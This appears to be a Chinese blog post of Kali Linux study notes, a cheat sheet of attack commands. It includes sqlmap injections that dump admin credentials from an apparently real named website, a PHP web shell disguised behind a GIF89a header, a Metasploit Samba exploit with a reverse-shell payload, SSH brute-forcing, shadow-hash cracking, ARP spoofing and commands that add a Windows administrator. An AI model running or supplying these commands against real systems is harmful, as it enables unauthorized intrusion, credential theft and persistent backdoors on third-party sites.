您的位置:首页 > 运维架构 > Linux

kali_linux学习笔记

2016-09-14 15:36 429 查看

kali linux ssh登陆:

一、配置SSH参数

修改sshd_config文件,命令为:

vi /etc/ssh/sshd_config

将#PasswordAuthentication no的注释去掉,并且将NO修改为YES //kali中默认是yes

将PermitRootLogin without-password修改为

PermitRootLogin yes

service ssh start

 

root@kali:~#apt-get install <软件名> //安装新软件
root@kali:~#apt-get remove <软件名> //卸载软件


medusa -h 10.10.5.246 -u root -P pass.txt -M ssh

crunch 1 3 -o aa.txt
locate wordlist
searchsploit openssl
/usr/share/sqlmap/txt/wordlist.zip


58 sqlmap -u http://www.cowinbio.com/about/index.php?id=1 --dbs --current-user
59 sqlmap -u http://www.cowinbio.com/about/index.php?id=1 --dbms mysql -D cw --tables
60 sqlmap -u http://www.cowinbio.com/about/index.php?id=1 --dbms mysql -D cw -T admin --columns
61 sqlmap -u http://www.cowinbio.com/about/index.php?id=1 --dbms mysql -T admin -C user,pwd --dump
sqlmap -u http://www.cowinbio.com/about/index.php --cookie id=1 --table --level 2
sqlmap -u http://www.cowinbio.com/about/index.php?id=1 --dbms mysql --tamper tamper/charunicodeencode.py -v 3
sqlmap -g inurl:php?id=
--post登录框注入
sqlmap -r search-test.txt -p tfUPass
sqlmap -u http://www.cowinbio.com/login.asp --forms
sqlmap -u http://www.cowinbio.com/login.asp --data "tfUName=1&tfUPass"
sqlmap 请求延时:
sqlmap -u http://www.cowinbio.com/login.asp --delay 1
sqlmap -u http://www.cowinbio.com/login.asp --safe-freq 3
绕过WAF防火墙:
nikto -host http://www.cowinbio.com/about/index.php?id=1 查找后台
https://www.exploit-db.com/google-hacking-database/ google-hacking-database
setoolkit set社会工程学攻击

openvas user:admin passwd:82207a15-be87-4ef7-a171-dbde81ef9ae9 https://127.0.0.1:9392
nessus service nessusd start https://127.0.0.1:8834
GIF89a
<? @system($_GET["cmd"]); ?>
www.fleurlis.com.tw

http://www.wooyun.org/bugs/wooyun-2016-0224790/trace/94cba88d12cef35cdeb898f26d4bdda9

root@kali:~# msfconsole -x "use exploit/multi/samba/usermap_script;\
set RHOST 172.16.194.172;\
set PAYLOAD cmd/unix/reverse;\
set LHOST 172.16.194.163;\
run"

hashcat -m 1800 -a 0 -o cra.txt shadow /usr/share/sqlmap/txt/wordlist.txt 密码破解

比如设置 --custom-charset1=?l?d 那么就表示 ?1代表小写字母与数字组合,那么8位随机的数字与小写字母组合可以写成 ?1?1?1?1?1?1?1?1,完整的例子:
hashcat test.txt -a 3 -m 0 --custom-charset1=?l?d ?1?1?1?1?1?1?1?1
再比如设置 --custom-charset2=xiao106347 那么就表示 ?2 代表字符串由 x i a o 1 0 6 3 4 7 组成的所有可能组合,完整例子:
hashcat test.txt -a 3 -m 0 --custom-charset2=xiao106347 ?2?2?2?2?2?2?2?2
hashcat -m 0 -a 3 -o ee1.txt test.hash --custom-charset1=xiao --custom-charset2=?d ?1?1?1?1?2?2?2?2

 


第一步,kali linux 2.0 本身已内置metasploit,kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。
在kali 2.0中启动带数据库支持的MSF方式如下:
#1 首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
#2 初始化MSF数据库(关键步骤!):msfdb init;
#3 运行msfconsole:msfconsole;
#4 在msf中查看数据库连接状态:db_status。
DONE
db_rebuild_cache

crunch字典密码生成
crunch 6 8 1234567890 -o w1.txt
crunch 10 10 -t @@@@@@@0728 -o w2.txt
crunch 8 8 -f /usr/share/rainbowcrack/charset.txt mixalpha -o w3.txt

ARP欺骗:
ettercap -i eth0 -Tq -M arp:remote /10.10.4.11//10.10.7.34/

cmd增加用户:
net user luozt luozt /add
net localgroup administrator luozt /add

ip转发:echo 1 > /proc/sys/net/ipv4/ip_forward

 

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: